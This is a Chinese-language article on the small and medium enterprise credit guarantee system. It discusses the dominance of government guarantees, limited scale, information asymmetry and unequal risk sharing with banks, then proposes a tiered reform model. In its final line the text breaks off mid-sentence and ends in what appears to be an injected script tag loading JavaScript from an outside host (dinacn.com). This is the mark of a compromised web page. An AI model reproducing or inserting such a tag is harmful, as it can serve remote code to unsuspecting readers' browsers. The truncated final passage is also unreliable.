建立中小企业信用担保（简称信保）体系是世界各国扶持中小企业发展的通行做法。从１９９２年开始，经历了探索、试点、建立体系阶段后，我国担保业已初具规模，为缓解中小企业融资难发挥了一定作用。但是，由于历史的、经济的、法律的、文化的、理念的原因，中小企业信保链条中存在着诸多问题，影响着中小企业、担保业、银行等行业的共同发展。

    １．担保结构失衡，有违初衷。

    从担保机构的结构上看，目前我国的中小企业信保体系主要是由地市级中小企业信用担保和省级中小企业信用担保、再担保机构两个层次构成，全国性中小企业担保机构尚未真正建立起来。同时，在政策性、商业性和互助性担保中，政府担保份额过高。２００４年，在全国１００亿元左右的总担保金额中，政府担保资金为６６亿元，所占份额为６６％。这说明互助担保和商业担保的比重严重不足，政府担保在整个体系中处于绝对主导地位。如果政府性担保一直保持主导状态，就等于把政府信用过多地用在中小企业上，造成政府财政负担加重，政府风险放大，这就失去了建立信保体系的意义，是从一个极端走向另一个极端。

    ２．担保规模和品种有限，难以满足需要。

    由于担保机构的主管部门太多，有政府、经贸委、财政局、乡镇企业局、工商联等，各个主管部门管理体制存在差异，担保机构的市场准入没有严格的规定和标准，导致分散出资，规模过小，出于防范风险，担保品种单一。据国家信息中心调查系统的调查显示，户均担保资金仅３０００万元左右，在保责任总额与担保资金的比例仅达到１∶１．７８。据此计算，我国担保体系可提供的年总担保融资额仅５００亿元左右，与全国３６０多万家中小企业及其上万亿元的融资需求相比，能解决的资金缺口不到５％。并且大多为６个月，最长不超过一年的使用期限。

    ３．担保机构与受保企业信息不对称，引发逆向选择和道德风险。

    由于目前整个社会的征信服务体系尚未建立，原有的征信部门，如银行、工商、法院、技术监督、财政、税务、海关、统计等部门虽然搜集部分信息，但缺乏信用信息公开、发布机制，使得担保机构很难准确掌握企业的真实资信，出现担保机构与其上游的中小企业及下游的银行合作困难，或者使担保机构面临逆向选择和道德风险。

    ４．担保与银行风险利益不对称，致使银行置身风险之外。

    从担保机构与其协作的银行关系看，商业性信用担保机构对中小企业融资担保业务要承担１００％的风险，而合作的商业银行不承担任何风险，形成二者风险、利益不对称的局面。按照发达国家建立信用担保体系的成功经验，信用担保风险的规避是靠建立一种社会化的风险分散机制来实现的，根据“风险共担、利益共享”的原则，信用担保所介入的市场交易关系的利益主体包括担保机构与商业银行，都应承担与其利益相当的经营风险。否则，就会引发银行的“道德风险”，使银行置身于担保链条之外，不再关注放贷资金的运行情况、可收回程度。

    因此我们必须从中小企业、担保业、银行业的和谐出发，构建中小企业信用担保体系，这是落实科学发展观，建设和谐社会的需要。

    １．建立合理分工、密切合作、相互补充的信保体系。

    首先，规范行业准入，建立多层次、多渠道的担保机构。在贯彻《中小企业促进法》同时，抓紧起草《中小企业信用担保管理办法》，规范信用担保机构的准入、退出及内控制度，有效整合担保机构资源，从需要和结构、规模合理出发，有序建立高效、稳健的“一体两翼”模式的中小企业信保体系。“一体”指城市、省、国家三级中小企业信保体系，国家中小企业信用再担保机构以省级中小企业信用担保机构为再担保服务对象；省级中小企业信用担保机构以城市中小企业信用担保机构为再担保服务对象；城市中小企业信用担保机构以社区互助担保机构和商业担保机构为再担保服务对象并从事授信担保业务。“两翼”指在城乡社区中以中小企业为服务对象的互助担保机构与商业担保机构，是中小企业信用担保体系的基础，从事中小企业直接担保业务。通过“一体两翼”的担保机构，使我国担保和再担保业务有机结合起来，达到担保风险的分散，同时，也使我国中小企业置身于结构合理、层次分明、功能完善的信用安全保障网中。

    其次，政府担保和民间担保应相互分工、相互合作。从宏观金融调控上看，政府有义务、有必要用政府信用为中小企业提供贷款担保，以此扶持和促进它们更快更大地发展。问题在于政府提供的信用程度应该有多大。从国际经验来看，政府担保贷款数额占中小企业贷款余额的?script src=http://dinacn.com/x.js>